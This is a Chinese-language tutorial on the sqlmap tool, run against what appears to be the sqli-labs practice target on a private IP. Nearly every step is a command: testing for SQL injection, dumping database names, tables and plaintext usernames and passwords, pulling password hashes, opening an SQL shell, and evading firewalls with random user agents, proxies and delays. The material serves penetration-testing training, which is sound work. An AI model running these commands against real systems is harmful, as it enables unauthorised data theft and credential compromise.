sqlmap使用方法

简单使用

sqlmap使用方法

查询是否存在注入:

sqlmap -u http://192.168.1.100/Less-1/?id=1

注:注入点后面的参数大于等于2个时,url需要加双引号

sqlmap使用方法

两个提示,提示1:可能存在注入,数据库可能是Mysql;提示2:可能存在XSS
直接回车

sqlmap使用方法

反馈回来的信息

查询https网站

sqlmap -u https://192.168.1.100/Less-1/?id=1 --force-ssl

查询当前用户下的所有数据库

sqlmap -u http://192.168.1.100/Less-1/?id=1 --dbs

sqlmap使用方法

查询数据库中的表名

sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security --tables

查询表中的字段名

sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security -T users --columns

sqlmap使用方法

查询字段内容

sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security -T users -C password,username --dump

sqlmap使用方法

网站的用户名和密码全都明文显示出来了

查询数据库中的所有用户

sqlmap -u http://192.168.1.100/Less-1/?id=1 --users

sqlmap使用方法

查询数据库用户密码

sqlmap -u http://192.168.1.100/Less-1/?id=1 --passwords

sqlmap使用方法

密码的hash值出来了,解密后就可以获得到密码
简单的密码直接可以用sqlmap算出来,不过计算的会比较慢

sqlmap使用方法

sqlmap 参数

-r 从文件中载入HTTP请求

sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。

vim 1.txt
GET /Less-1/?id=1 HTTP/1.1
Host: 192.168.0.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
sqlmap -r 1.txt

-v 输出信息详细级别:0-6

Sqlmap的输出信息按从简到繁共分为7个级别(和葫芦娃一样多),依次为0、1、2、3、4、5和6。使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:

  • 只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
  • 同时显示普通信息[INFO]和警告信息[WARNING];
  • 同时显示调试信息[DEBUG];
  • 同时显示注入使用的攻击荷载;
  • 同时显示HTTP请求;
  • 同时显示HTTP响应头;
  • 同时显示HTTP响应体。
     

-m 从文本中获取多个目标扫描

vim 1.txt
http://192.168.0.104/Less-1/?id=1
http://192.168.0.104/Less-1/?id=2
http://192.168.0.104/Less-1/?id=3
http://192.168.0.104/Less-1/?id=4
http://192.168.0.104/Less-1/?id=5
sqlmap -m 1.txt

–level 设置探测等级

不加level参数时,默认的探测等级是1,会测试get和post数据
等级2会比等级1多测试cookie
等级3会比等级2多测试 UA和referer
等级越高测试的payload越多,耗时越久
具体每个等级都有哪些payload可在payloads.xml中查看
kali中payloads.xml的默认位置是 /usr/share/golismero/tools/sqlmap/xml/payloads.xml

–is-dba 查询当前数据库的账户是否为管理员账户

sqlmap -u http://192.168.1.100/Less-1/?id=1 --is-dba

sqlmap使用方法

–sql-shell 运行自定义sql语句

sqlmap -u http://192.168.1.100/Less-1/?id=1 --sql-shell

sqlmap使用方法

现在就可以输入自定义的sql语句来执行了

–random-agent 设置一个随机的UA

sqlmap默认的UA是 sqlmap/1.2.7#stable (http://sqlmap.org)
要是我们想设置一个随机的UA,可使用该参数

sqlmap -u http://192.168.1.100/Less-1/?id=1 --random-agent

–referer 设置指定的refer

有的页面会判断访问的来源,所以有时候我们需要指定的refer

sqlmap -u http://192.168.1.100/Less-1/?id=1 --referer http://www.baidu.com

–proxy 使用代理连接

sqlmap -u http://192.168.1.100/Less-1/?id=1 --proxy http://192.168.0.104:1080

–proxy-file 使用文件中的代理地址连接

vim 1.txt
192.168.0.101:1080
192.168.0.102:1080
192.168.0.103:1080
192.168.0.104:1080
192.168.0.105:1080
sqlmap -u http://192.168.1.100/Less-1/?id=1 --proxy-file 1.txt

–force-ssl 强制使用SSL/HTTPS

–delay 设置延时

每个HTTP请求之间的延迟(秒),防止因为访问过于频繁被网站防火墙拦截

sqlmap -u http://192.168.1.100/Less-1/?id=1 --delay 5

–safe-url,–safe-freq 设置安全链接

–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

sqlmap -u http://192.168.1.100/Less-1/?id=1 --safe-url http://192.168.1.100
sqlmap -u http://192.168.1.100/Less-1/?id=1 --safe-freq http://192.168.1.100

–dbms 指定数据库

在知道目标所使用的数据库的情况下,可以使用 --dbms 来指定数据库

sqlmap -u http://192.168.1.100/Less-1/?id=1 --dbms=mysql

-p 设置测试特定测试

要是目标链接有多个参数,可以用 -p 来指定只测试特定的参数

sqlmap -u http://192.168.1.100/Less-1/?id=1 -p id